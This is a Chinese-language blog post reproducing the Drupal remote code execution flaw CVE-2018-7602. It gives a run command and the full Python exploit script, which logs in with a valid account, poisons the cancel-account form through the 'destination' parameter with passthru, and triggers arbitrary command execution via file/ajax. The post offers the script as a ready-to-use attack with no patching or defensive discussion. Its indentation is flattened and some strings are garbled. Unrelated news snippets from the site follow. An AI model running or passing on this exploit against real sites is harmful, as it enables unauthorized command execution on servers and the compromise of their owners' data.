Drupal 远程代码执行漏洞(CVE-2018-7602)
admin
2023-01-30 12:00:05
0

漏洞复现:
1.如下图所示,执行以下命令即可复现该漏洞。示例命令为 id,如图红框中显示,可以执行该命令。

   "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码

python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://ip:8081/
Drupal 远程代码执行漏洞(CVE-2018-7602)
2.得有CVE-2018-7600的PoC。

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
''')

parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args

def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {'http': proxy, 'https': proxy}
try:
print('[] Creating a session using the provided credential...')
get_params = {'q':'user/login'}
post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[
] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
print('[] User ID found: ' + user_id)
print('[
] Poisoning a form using \'destination\' and including it in cache.')
get_params = {'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {'name': 'form_token'}).get('value')
get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[] Poisoned form ID: ' + form_build_id)
print('[
] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise

def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')

args = get_args() # get the cl args
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())

if name == 'main':
main()


3.然后再执行。
Drupal 远程代码执行漏洞(CVE-2018-7602)

相关内容

热门资讯

上海交大发布第七届“十大科技进... 7月22日,上海交通大学第七届“十大科技进展”在闵行大零号湾成果转化中心发布。本届入选成果包括6项基...
MEMS微纳加工进入共享时代:... 一、行业背景:科研与中试的"产线困境" 一、行业背景:科研与中试的"产线困境" 在半导体与微纳制造领...
行业首款水冷+185Hz超高刷... 一、前言:9英寸机身里塞下了整个Steam库 拿到红魔游戏平板5 Pro之前,我对它没太大期待,正常...
雷军亲自下场讲物理!小米澎程不... 7月22日,小米CEO雷军在微博抛出“灵魂三问”,9系全尺寸大空间四驱SUV你选哪个? 1. 大电池...
最新民调:特朗普的支持者对伊朗... 美伊谅解备忘录失效,停火局面被打破,双方最近大打出手。据美媒报道,美国最新民调显示,特朗普的支持者对...
专业可靠的AirTag平替销售... 智能防丢市场新选择:AirTag平替产品的核心选购逻辑与可靠源头厂商解析 在苹果AirTag带动下...
黄仁勋谈中国AI模型:非常优秀... 英伟达首席执行官黄仁勋7月21日表示,中国开源AI模型“非常优秀”,美国企业“应该使用”。他同时警告...
西门子无霜冰箱冷藏室不制冷冷冻... 1、可能是制冷剂发生了泄漏的情况;2、可能是因为风机的问题导致了不制冷情况。3、可能是外界温度的影响...
防盗门钥匙能锁门不能开门怎么回... 1、如果是喇叭锁时,导致门锁忽然打不开很可能是其锁斜舌脱勾而出现故障,这时可以将锁具螺丝下开,对锁舌...
西门子洗衣机不排水怎么回事 1、排水管不通畅或排水泵堵转。2、可能是电脑板坏了。3、排水泵与电脑板之间接触不良或排水泵损坏引起的...